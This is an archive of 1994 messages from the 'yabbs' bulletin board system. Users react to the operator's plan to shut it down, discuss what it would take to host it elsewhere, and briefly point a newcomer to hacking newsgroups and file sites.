|
|
natalie
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|
|
|
From htoaster@yabbs Sun Aug 21 16:09:49 1994
|
|
From: htoaster@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sun Aug 21 16:09:49 1994
|
|
|
|
In message re: read 'em and weep, Natalie said:
|
|
> sorry alex, but i had to defend myself...i just can't ignore being told
|
|
> i'm stupid and worthless and deserve to be slapped around.
|
|
|
|
oh, most of these people just want everyone to respond, cause they have fun
|
|
pissing people off, and if you respond then it shows that they did their job...
|
|
|
|
it doesn't matter anyway, i think the future of yabbs is pretty dim...maybe
|
|
coming down this fall...
|
|
|
|
alex
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|
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|
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From Natalie@yabbs Sun Aug 21 20:24:15 1994
|
|
From: Natalie@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sun Aug 21 20:24:15 1994
|
|
|
|
oh, don't kill yabbs, alex...
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|
natalie
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|
|
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From bart@yabbs Sun Aug 21 21:49:48 1994
|
|
From: bart@yabbs
|
|
To: Optimus@yabbs
|
|
Subject: re: New
|
|
Date: Sun Aug 21 21:49:48 1994
|
|
|
|
..some mindless banter about hacking freaking etc..
|
|
|
|
dude...yer setting yourself up for some major flaming and
|
|
ragging..bbetter not to ask but explore!
|
|
bart
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|
|
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From Justbob@yabbs Mon Aug 22 03:29:29 1994
|
|
From: Justbob@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Mon Aug 22 03:29:29 1994
|
|
|
|
I agree w/Natalie.
|
|
I would miss the UNIX base where it's at least possible to get some
|
|
intelligent answers (and without being flamed too)
|
|
|
|
From agent-0@yabbs Mon Aug 22 03:44:51 1994
|
|
From: agent-0@yabbs
|
|
To: all@yabbs
|
|
Subject: gee...
|
|
Date: Mon Aug 22 03:44:51 1994
|
|
|
|
Gee, going back about 20 messages makes me kinda sad, I missed all the
|
|
exciting stuff...*grin* geez...
|
|
a/o
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|
|
|
From htoaster@yabbs Mon Aug 22 06:24:05 1994
|
|
From: htoaster@yabbs
|
|
To: Justbob@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Mon Aug 22 06:24:05 1994
|
|
|
|
In message re: read 'em and weep, Justbob said:
|
|
> I agree w/Natalie.
|
|
> I would miss the UNIX base where it's at least possible to get some
|
|
> intelligent answers (and without being flamed too)
|
|
|
|
well, if anyone else wants to run yabbs and has a free internet connection
|
|
they are free to...i really just don't have the time for it anymore...it
|
|
shouldn't take a lot of time, but the truth is that it does...
|
|
|
|
alex
|
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|
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|
|
From JackY@yabbs Mon Aug 22 10:50:43 1994
|
|
From: JackY@yabbs
|
|
To: all@yabbs
|
|
Subject: yabbs
|
|
Date: Mon Aug 22 10:50:43 1994
|
|
|
|
Hey, after reading some previous messages here, I get the impression
|
|
that htoaster is considering shutting down yabbs. I recommend 2
|
|
courses of action:
|
|
|
|
No. 1: We all tell him how much we love yabbs so that peer pressure
|
|
forces him to keep it up, at least long enuff for
|
|
|
|
No. 2: Someone else to download the yabbs software and set up another
|
|
similar bbs.
|
|
|
|
From cosmos@yabbs Mon Aug 22 12:35:30 1994
|
|
From: cosmos@yabbs
|
|
To: JackY@yabbs
|
|
Subject: re: yabbs
|
|
Date: Mon Aug 22 12:35:30 1994
|
|
|
|
Answer to #1:
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|
|
Peer pressure or no peer pressure, it is his show. I for one know that if
|
|
it was my show and I had the headaches he has to deal with due to it, that
|
|
I would have brought the bastard down long time ago or made it a private
|
|
system. Personally, I could give a rats ass what everyone else thought,
|
|
my system, my time, my money then you dont factor in to the decision.
|
|
Then again, I am a bit more callous than Alex...
|
|
|
|
Answer to #2
|
|
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|
Its a small minority that have their own REAL 24/7 direct connect to the
|
|
internet. You need a fairly large machine to handle the load and the know
|
|
how and patience to run it. It's not gonna happen kids.
|
|
|
|
Cosmos
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|
From Justbob@yabbs Mon Aug 22 12:36:25 1994
|
|
From: Justbob@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Mon Aug 22 12:36:25 1994
|
|
|
|
----
|
|
well, if anyone else wants to run yabbs and has a free internet connection
|
|
they are free to...i really just don't have the time for it anymore...it
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shouldn't take a lot of time, but the truth is that it does...
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----
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I would love to, but somehow, i don't imagine that the highschool would
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take kindly to the types of discussions taking place on yabbs ;)
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[Altho, sometime...hopefully during the first semester...I will be putting
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up a bbs, subdued & sucky as it may be]
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From Justbob@yabbs Mon Aug 22 12:40:11 1994
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From: Justbob@yabbs
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To: htoaster@yabbs
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Subject: re: yabbs
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Date: Mon Aug 22 12:40:11 1994
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Hrmmm...last message seems to have gotten hosed as cosmos was entering at
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the ame time [is the message file flocked/lockfed when someone is
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entering?]
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---
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well, if anyone else wants to run yabbs and has a free internet connection
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they are free to...i really just don't have the time for it anymore...it
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shouldn't take a lot of time, but the truth is that it does...
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---
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I would love to, but i don't think the highschool would take kindly to the
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types of discussions taking place on yabbs :/
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[however, i will, hopefully withinh the first semester, be setting up a
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bbs, limited & controlled tho it may be]
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From balistic@yabbs Mon Aug 22 13:35:25 1994
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From: balistic@yabbs
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To: htoaster@yabbs
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Subject: re: yabbs
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Date: Mon Aug 22 13:35:25 1994
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Alex, I realize that you can do whatever you want with this system, but
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please don't shut it down. When I first logged on here I figured this was
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going to be another lame, poorly-constructed, semi-illiterate IRC-type
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place. But after I explored YABBS this was obviosly not the case. I feel
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YABBS is hands-down THE best bbs I have ever used. Most of the ppl I know
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and correspond with are on YABBS. I don't want to sound like I'm kissing
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butt here, but it's true, please don't take YABBS away so suddenly.....
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balistic the depressed
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From JackY@yabbs Mon Aug 22 15:53:43 1994
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From: JackY@yabbs
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To: cosmos@yabbs
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Subject: <no title>
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Date: Mon Aug 22 15:53:43 1994
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cosmos,
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Actually, I agree with most of what you said.
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(especially the part about being more callous than Alex) ;-)
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But don't be such a pessimest! Shit, I would have a shot at running
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the goddamn thing if I could, and I have only the foggiest idea how.
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There's gotta be some yabber out there with direct access and a machine
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that can do this. From what I've heard, yabbs is run on a 486. Thats
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not exactly a prohibitive hardware requirement.
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JackY
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From cosmos@yabbs Mon Aug 22 16:51:42 1994
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From: cosmos@yabbs
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To: JackY@yabbs
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Subject: re: <no title>
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Date: Mon Aug 22 16:51:42 1994
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Lets get real, kid. Pessimistic as I may be, you don't seem to understand
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what it takes in time and cost to run something like this. First, you
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need a direct connection to the internet 24/7. SLIP/PPP aint gonna cut
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it. Second, you need to spend a good deal of manhours in maintaining
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it...I dont care what you say or think, this is true. Third, yes it is
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run on a 486. The machine also has about 20 megs ram, and could use some
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more at peak points. The average ram size in a 486 is 4 megs. A good
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deal have 8, its still not terribly cheap these days.
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Bottom line...its going to take quite a while to find someone that meets
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ALL of the above MINIMUM requirements and that will do it. I sure as hell
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wouldnt...or at most would make it a closed system.
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Cosmos
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From htoaster@yabbs Mon Aug 22 17:33:38 1994
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From: htoaster@yabbs
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To: JackY@yabbs
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Subject: re: yabbs
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Date: Mon Aug 22 17:33:38 1994
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In message yabbs, JackY said:
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> Hey, after reading some previous messages here, I get the impression
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> that htoaster is considering shutting down yabbs. I recommend 2
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> courses of action:
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this is true...
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> No. 1: We all tell him how much we love yabbs so that peer pressure
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> forces him to keep it up, at least long enuff for
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this won't work, i just don't have the time or interest to keep it up
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anymore...it just isn't fun for me anymore (and hasn't been for a while)...
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> No. 2: Someone else to download the yabbs software and set up another
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> similar bbs.
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they can have the data files, etc, for this one if they want...
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alex
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From htoaster@yabbs Mon Aug 22 17:36:15 1994
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From: htoaster@yabbs
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To: cosmos@yabbs
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Subject: re: <no title>
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Date: Mon Aug 22 17:36:15 1994
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okay, heres the deal on yabbs hardware...
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it should be run on a 486sx/25 or better...16 megs of ram is pretty much
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the least you would want (it would run in 8, just swap quite a bit more)...
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maybe 250 megs disk or so minimum...
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the hard part is a high speed link to the net...by high speed i mean t-1
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speeds or better...56k, isdn, slip/ppp, or whatever you have run to your
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house just won't cut all of the interactive traffic...you think to the
|
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lag is bad now? :)
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alex
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From Natalie@yabbs Mon Aug 22 22:29:29 1994
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From: Natalie@yabbs
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To: htoaster@yabbs
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Subject: re: yabbs
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Date: Mon Aug 22 22:29:29 1994
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i understand where you're coming from, alex. if i was doing something
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that wasn't fun anymore and i had the option to stop doing it, i would
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too. and this gives me a good reason to stop sitting at the computer for
|
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way too long getting absolutely nothing accomplished. now i can get back
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to my book.
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it's been fun...
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natalie
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From taegu@yabbs Mon Aug 22 22:57:05 1994
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From: taegu@yabbs
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To: htoaster@yabbs
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Subject: re: yabbs
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Date: Mon Aug 22 22:57:05 1994
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Alex,
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I just wanted to say thank-you for giving me the oppertunity to meet all
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the wonderful people that I have met on yabbs. I have made many friends
|
|
that i would have otherwise had never known. Thank you for all the time
|
|
and effort you have put into this bbs. I will surely miss it when its
|
|
gone, but, I understand why you have the need to quit supporting it.
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Thanks again!
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|
Kevin
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From Justbob@yabbs Tue Aug 23 00:25:03 1994
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From: Justbob@yabbs
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To: htoaster@yabbs
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Subject: re: yabbs
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Date: Tue Aug 23 00:25:03 1994
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Hrmm....'t appears i have posted away from everyone else's goodbyes...in
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that case, see Yabbs Bugs
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s
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From Famine@yabbs Tue Aug 23 06:32:54 1994
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From: Famine@yabbs
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To: htoaster@yabbs
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Subject: Yabbs RIP
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Date: Tue Aug 23 06:32:54 1994
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Well the end of yabbs is near, all I have to say is thanks htoaster, although
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I haven't been using yabbs that long it was good whilst it lasted. I am sorry
|
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that you felt you had to close it down, but am grateful that you started it
|
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and have spend so much time and effort in its running.
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Famine.
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From Jazzy@yabbs Tue Aug 23 09:12:40 1994
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From: Jazzy@yabbs
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To: all@yabbs
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Subject: read /i roth
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Date: Tue Aug 23 09:12:40 1994
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From Justbob@yabbs Wed Aug 24 12:39:40 1994
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From: Justbob@yabbs
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To: Jazzy@yabbs
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Subject: re: read /i roth
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Date: Wed Aug 24 12:39:40 1994
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Woah...deja vu...I coulda sworn i just saw the same thing in Bugs...
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From Typhon@yabbs Thu Aug 25 12:01:41 1994
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From: Typhon@yabbs
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To: htoaster@yabbs
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Subject: Lateration
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Date: Thu Aug 25 12:01:41 1994
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|
I haven't really been here all that long, have I? It feels like forever. I
|
|
really enjoyed YABBS (There were god damned WEEKS this summer where this
|
|
was all I got up for) and I'll miss it. You gave me a chance to get some
|
|
stuff out of my sould and explore sides of myself I never get to see, and
|
|
to ACTUALLY INETRACT WITH PEOPLE! Thanks, man. I'm sorry it hasn't been
|
|
fun for you...it was a blast for me.
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|
Matthew Rossi
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mr.9767@acc.rwu.edu
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ps: Now that I think about it, between you and me we kept that whole
|
|
meat/vegitarian thing rolling almost all summer, didn't we? And tehreason
|
|
I didn't send this email is because everybody should know how cool you've
|
|
been.
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From icebox@yabbs Thu Aug 25 20:10:02 1994
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|
From: icebox@yabbs
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|
To: Natalie@yabbs
|
|
Subject: re: yabbs
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|
Date: Thu Aug 25 20:10:02 1994
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|
Don't be so certai. I haven't read previous messages, but your board has
|
|
given me the ability to express a lot (comin' from up here, you know).
|
|
I will be willing to prove that something can be accomplish if tested.
|
|
I've
|
|
met the first task with excellent remarks. Check the boards.
|
|
That's progress.
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|
God Bless the United States of America(s)!
|
|
Your buddy,
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|
icebox ---- > Numero Uno, no Dos!
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From johndeer@yabbs Sat Aug 27 11:07:09 1994
|
|
From: johndeer@yabbs
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|
To: cosmos@yabbs
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|
Subject: re: yabbs
|
|
Date: Sat Aug 27 11:07:09 1994
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|
well I've got a (max) 10mbps connection, 20mb ram, a bit of HD space, but
|
|
i'm running OS/2 and I don't even have TCP/IP native drivers for OS/2..
|
|
hmm.. i kinda doubt porting yabbs to OS/2 will be an easy feat...
|
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|
john Deere
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From Optimus@yabbs Sun Aug 28 22:55:57 1994
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From: Optimus@yabbs
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|
To: all@yabbs
|
|
Subject: FILES!!!
|
|
Date: Sun Aug 28 22:55:57 1994
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|
Could someone tell me where I can get some reading material and programs
|
|
for an ibm compatible about hacking, phreaking, anarchy, ect... (via
|
|
telnet, ftp, ANTHING!!)
|
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|
From brael@yabbs Mon Aug 29 03:23:03 1994
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|
From: brael@yabbs
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|
To: Optimus@yabbs
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|
Subject: re: FILES!!!
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|
Date: Mon Aug 29 03:23:03 1994
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|
|
go read alt.2600
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|
-brael.
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From balistic@yabbs Mon Aug 29 12:58:54 1994
|
|
From: balistic@yabbs
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|
To: htoaster@yabbs
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|
Subject: this is not a complaint
|
|
Date: Mon Aug 29 12:58:54 1994
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|
|
Would having us yabbernauts pay to use this system make it worthwhile
|
|
to run? I'd certainly be willing to pay a modest sum to get access. I
|
|
realize it would still take a lot of time for you to run but at least
|
|
you'd get some compensation......
|
|
|
|
From balistic@yabbs Mon Aug 29 13:03:50 1994
|
|
From: balistic@yabbs
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|
To: all@yabbs
|
|
Subject: death
|
|
Date: Mon Aug 29 13:03:50 1994
|
|
|
|
Just like to say that everybody here at YABBS has made the 4 months I
|
|
had using it great. Is there life after YABBS? :)
|
|
|
|
looks like we'll be stuck with IRC for ahwhile huh :)
|
|
later,
|
|
balistic the newbie :)
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|
(this ASCII may not come thru right but...)
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88888888888888
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8888800000000000 8888
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888800000QQQQQQQQQ000088888
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88880000 QQQQQQQQQQQQQQQ0000088888
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8888880000 QQQQQQQQQQQQ0000QQ 000008
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88888000000 QQQQQQ QQ00000QQ 0000
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8880000 QQQQQ Q0000QQ 00
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88888800000 QQQQQ QQ00QQQ 0
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88888000000 QQQQQQQ QQQQQQQQQ 0
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888880000000 QQQQQQQQQQQQQQQQQQQQ QQ
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0000 QQQQQQQQQQQQQQQQQQ QQQQ
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00000 QQQQQQQQQQQQQQQQ 00000000QQQ
|
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00000000000000000000000000
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"HERE'S LOOKIN AT YOU, KID" :)
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From balistic@yabbs Mon Aug 29 13:09:01 1994
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|
From: balistic@yabbs
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|
To: balistic@yabbs
|
|
Subject: re: this is not a complaint
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|
Date: Mon Aug 29 13:09:01 1994
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|
disregard that message...forgot to delete it :)
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From balistic@yabbs Mon Aug 29 13:10:07 1994
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|
From: balistic@yabbs
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|
To: balistic@yabbs
|
|
Subject: re: this is not a complaint
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|
Date: Mon Aug 29 13:10:07 1994
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|
not the last one but the one about a pay system :)
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From Justbob@yabbs Mon Aug 29 14:04:29 1994
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|
From: Justbob@yabbs
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|
To: Optimus@yabbs
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|
Subject: re: FILES!!
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|
Date: Mon Aug 29 14:04:29 1994
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|
Read security newsgroups for starters.
|
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You could read alt.2600, but you wouldn't_learn_ the stuff.
|
|
You'd have it memorized, but you wouldn't know _how_ it works
|
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From htoaster@yabbs Mon Aug 29 14:56:12 1994
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|
From: htoaster@yabbs
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|
To: balistic@yabbs
|
|
Subject: re: this is not a complaint
|
|
Date: Mon Aug 29 14:56:12 1994
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|
|
In message this is not a complaint, balistic said:
|
|
> Would having us yabbernauts pay to use this system make it worthwhile
|
|
> to run? I'd certainly be willing to pay a modest sum to get access. I
|
|
> realize it would still take a lot of time for you to run but at least
|
|
> you'd get some compensation......
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|
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|
not really. i'm not interested in money at this point in my life (never
|
|
really am to tell you the truth)...I really would like to see the system
|
|
run somewhere, just not here...I'd even like to be able to use some of
|
|
my free time to make the software better, but I can't do that when I spend
|
|
my free time worrying about other stuff...
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|
alex
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From pnovak@yabbs Mon Aug 29 17:52:50 1994
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|
From: pnovak@yabbs
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|
To: all@yabbs
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|
Subject: re: this is not a complaint
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|
Date: Mon Aug 29 17:52:50 1994
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|
Ht's been clearspoken. It's not a maer of sums, it's a matter
|
|
of annoyance.
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pno sugests solutions, which he can unfortunately notprovide due to
|
|
ignorance.
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Maybe others...
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|
...
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From pnovak@yabbs Mon Aug 29 17:56:10 1994
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|
From: pnovak@yabbs
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|
To: all@yabbs
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|
Subject: re: this is not a complaint
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|
Date: Mon Aug 29 17:56:10 1994
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|
excuse typos...
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From iggy@yabbs Mon Aug 29 23:18:18 1994
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From: iggy@yabbs
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|
To: Optimus@yabbs
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|
Subject: re: FILES!!!
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|
Date: Mon Aug 29 23:18:18 1994
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|
If you are really, really, REALLY serious about hacking, then start with
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your local library. Consume everything on computers.
|
|
If you want to just piss around then try Brinta 145.24.149.50, isca ftp at
|
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isca.uiowa.edu. There's some interesting stuff there.
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From iggy@yabbs Mon Aug 29 23:22:50 1994
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|
From: iggy@yabbs
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|
To: htoaster@yabbs
|
|
Subject: ciao
|
|
Date: Mon Aug 29 23:22:50 1994
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|
Oh, like this is the board for it *shrug* oh well.
|
|
It may be necessary, but I still don't this board disappearing. I'm not
|
|
whining, it's meant as an expression of thanx. I've only been on here for
|
|
a couple of weeks and was finally beginning to feel at home (almost) and
|
|
now it's going. Shit happens I guess.
|
|
If there are other BBS's out there that has the character of this one, I'd
|
|
sure like to know their addresses.
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ciao
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From Optimus@yabbs Mon Aug 29 23:43:30 1994
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|
From: Optimus@yabbs
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|
To: iggy@yabbs
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|
Subject: re: FILES!!!
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Date: Mon Aug 29 23:43:30 1994
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|
Thanks for the information!! Is their anymore out their??
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From Death@yabbs Tue Aug 30 03:46:14 1994
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From: Death@yabbs
|
|
To: all@yabbs
|
|
Subject: Yabbs!
|
|
Date: Tue Aug 30 03:46:14 1994
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|
|
Ummm... Yabbs is almost definitely staying up... read post 1505 in Social
|
|
Misfits for the info (I don't want to type it again :)
|
|
But Yabbs WILL LIVE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
--Les
|
|
(Who is feeling very optimistic on this lovely tuesday morning :)
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From balistic@yabbs Tue Aug 30 17:04:43 1994
|
|
From: balistic@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: this is not a complaint
|
|
Date: Tue Aug 30 17:04:43 1994
|
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|
I understand.....although it's kind of hard for me to contemplait not
|
|
wanting money (I'm a teenager don't ya know :))
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|
Till the next incarnation of yabbs,
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|
Brian
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From balistic@yabbs Tue Aug 30 17:06:33 1994
|
|
From: balistic@yabbs
|
|
To: Death@yabbs
|
|
Subject: re: Yabbs!
|
|
Date: Tue Aug 30 17:06:33 1994
|
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|
Hey death...gimme the telnet address and I'm there :)
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|
balistic
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From Death@yabbs Wed Aug 31 00:54:06 1994
|
|
From: Death@yabbs
|
|
To: balistic@yabbs
|
|
Subject: re: Yabbs!
|
|
Date: Wed Aug 31 00:54:06 1994
|
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|
As soon as I know what it'll be, I'll tell htoaster so he can post it on
|
|
phred (and if I know before Yabbs goes down, I'll post it here myself :)
|
|
It'll most likely be yabbs.<something>.cc.cmu.edu I'll fill in the
|
|
something soon...
|
|
--Les
|
|
(Who is going to KILL his freind...)
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